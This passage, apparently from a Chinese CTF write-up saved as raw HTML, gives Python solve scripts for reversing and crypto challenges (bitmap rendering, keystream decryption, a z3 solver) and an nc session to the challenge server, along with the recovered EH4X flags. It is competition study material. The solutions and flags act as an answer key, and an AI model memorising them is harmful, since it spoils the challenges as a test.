lineno, raw </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(path.read_text(encoding=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;utf-8&#34;</span></span><span leaf="">).splitlines(), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><br/><span leaf="">        line = raw.strip()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> line:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span><br/><span leaf="">        x_str, y_str = line.split(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;,&#34;</span></span><span leaf="">)</span><br/><span leaf="">        points.append((float(x_str), float(y_str)))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> points</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">render_bitmap</span></span><span style="line-height: 26px;"><span leaf="">(bits: Sequence[int], width: int, height: int, scale: int = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, invert: bool = False)</span></span><span leaf=""> -&gt; Image.Image:</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(bits) != width * height:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;bit count </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(bits)}</span></span><span leaf=""> does not match </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{width}</span></span><span leaf="">x</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{height}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    img = Image.new(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, (width, height), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><br/><span leaf="">    px = img.load()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx, bit </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(bits):</span><br/><span leaf="">        x = idx % width</span><br/><span leaf="">        y = idx // width</span><br/><span leaf="">        pixel = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> bit </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> invert:</span><br/><span leaf="">            pixel = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> - pixel</span><br/><span leaf="">        px[x, y] = pixel</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> scale &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><br/><span leaf="">        img = img.resize((width * scale, height * scale), Image.NEAREST)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> img</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">all_factor_pairs</span></span><span style="line-height: 26px;"><span leaf="">(n: int)</span></span><span leaf="">:</span></span><br/><span leaf="">    pairs = []</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> h </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, int(n ** </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.5</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> n % h == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><br/><span leaf="">            w = n // h</span><br/><span leaf="">            pairs.append((w, h))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> pairs</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><br/><span leaf="">    parser = argparse.ArgumentParser()</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;signal&#34;</span></span><span leaf="">, nargs=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;?&#34;</span></span><span leaf="">, default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;signal_data.txt&#34;</span></span><span leaf="">)</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-o&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--output&#34;</span></span><span leaf="">, default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag_130x20.png&#34;</span></span><span leaf="">)</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--width&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">130</span></span><span leaf="">)</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--height&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">)</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--scale&#34;</span></span><span leaf="">, type=int, default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">)</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--invert&#34;</span></span><span leaf="">, action=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;store_true&#34;</span></span><span leaf="">)</span><br/><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--dump-factors&#34;</span></span><span leaf="">, action=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;store_true&#34;</span></span><span leaf="">)</span><br/><span leaf="">    args = parser.parse_args()</span><br/><span leaf="">    signal_path = Path(args.signal)</span><br/><span leaf="">    points = load_points(signal_path)</span><br/><span leaf="">    bits = [check_point(x, y) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> x, y </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> points]</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;loaded points : </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(points)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;valid pixels  : </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{sum(bits)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;factor pairs  : </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{all_factor_pairs(len(bits))}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span leaf="">    img = render_bitmap(bits, args.width, args.height, scale=args.scale, invert=args.invert)</span><br/><span leaf="">    out_path = Path(args.output)</span><br/><span leaf="">    img.save(out_path)</span><br/><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;saved main image to: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{out_path}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> args.dump_factors:</span><br/><span leaf="">        base = out_path.with_suffix(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> w, h </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> all_factor_pairs(len(bits)):</span><br/><span leaf="">            layout = render_bitmap(bits, w, h, scale=max(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, args.scale), invert=args.invert)</span><br/><span leaf="">            layout_path = base.parent / </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{base.name}</span></span><span leaf="">_</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{w}</span></span><span leaf="">x</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{h}</span></span><span leaf="">.png&#34;</span></span><br/><span leaf="">            layout.save(layout_path)</span><br/><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;saved candidate layout: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{layout_path}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><br/><span leaf="">    main()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">图像解出来之后如下，解完纯在测试相似符</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030497" data-type="png" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-ratio="0.15384615384615385" data-w="780" src="https://wechat2rss.xlab.app/img-proxy/?k=0a0132a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2N1EpazdiavXTEEEu4fnerZXusPEibe5SZzUkS8HTHu6tsXuZKhey5fZhDQKjdrHT87tzR3q90BryRUdQYPlD0HGy7IOnvLrdsYs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">EH4X{N3WT0N_W45_R1GHT}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">kaje</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">C1 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff51afd7ed558ccd</span></span><br/><span leaf="">C2 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc4ceb9fe1a85ec53</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">mix64</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><br/><span leaf="">    x &amp;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">    x ^= x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><br/><span leaf="">    x = (x * C1) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">    x ^= x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><br/><span leaf="">    x = (x * C2) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">    x ^= x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> x</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">gen_keystream</span></span><span style="line-height: 26px;"><span leaf="">(seed)</span></span><span leaf="">:</span></span><br/><span leaf="">    a2 = seed &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">    out = bytearray()</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> r </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">):</span><br/><span leaf="">        x = (a2 + r) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">        v3 = (C1 * (x ^ (x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><span leaf="">))) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">        t  = (v3 ^ (v3 &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">        a2 = (C2 * t) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">        a2 = (a2 ^ (a2 &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">33</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffffffffff</span></span><br/><span leaf="">        out.append(a2 &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">)</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(out)</span><br/><span leaf="">ct = bytes.fromhex(</span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;9f12d91be212bbbafbf5fee8a632acc6&#34;</span></span><br/><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;043692d4c93bbdbe22a2b4836b4503d3&#34;</span></span><br/><span leaf="">)</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">solve</span></span><span style="line-height: 26px;"><span leaf="">(is_docker, has_overlay)</span></span><span leaf="">:</span></span><br/><span leaf="">    v0 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xCD9AADD8D9C9A989</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> is_docker:</span><br/><span leaf="">        v0 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1337133713371337</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> has_overlay:</span><br/><span leaf="">        v0 ^= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xABCDEF1234567890</span></span><br/><span leaf="">    seed = mix64(v0)</span><br/><span leaf="">    ks = gen_keystream(seed)</span><br/><span leaf="">    pt = bytes(a ^ b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> a, b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> zip(ct, ks))</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> pt</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> d </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> [</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">]:</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> o </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> [</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">]:</span><br/><span leaf="">        pt = solve(d, o)</span><br/><span leaf="">        print(d, o, pt)</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">ghosty</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">XChaCha20-Poly1305 加盐生成的key 解密 R0M1 的blob ，拿到的 elf 里存了 ghost_8d3f4a91c2e7b6d0。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""> % nc chall.ehax.in 22222</span><br/><span leaf="">== interface check ==</span><br/><span leaf="">Send one line as your candidate input (max 32 bytes).</span><br/><span leaf="">&gt; ghost_8d3f4a91c2e7b6d0</span><br/><span leaf="">EH4X{fr3k7_fri3n5dly_1nt3rf4c35_0nc3_4g41n}</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">ghostKey</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">z3：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> z3 </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> hashlib</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> Crypto.Cipher </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> AES</span><br/><span leaf="">PRINT_MIN = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><br/><span leaf="">PRINT_MAX = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><br/><span leaf="">target_lfsr = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4358</span></span><br/><span leaf="">target_nibble = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">]</span><br/><span leaf="">target_col = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0C</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x27</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x08</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x37</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x21</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x60</span></span><span leaf="">]</span><br/><span leaf="">target_tag = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6C</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x75</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3A</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2F</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x34</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">]</span><br/><span leaf="">target_sbox_xor = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x66</span></span><br/><span leaf="">pairs = [</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">127</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">104</span></span><span leaf="">),</span><br/><span leaf="">    (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span 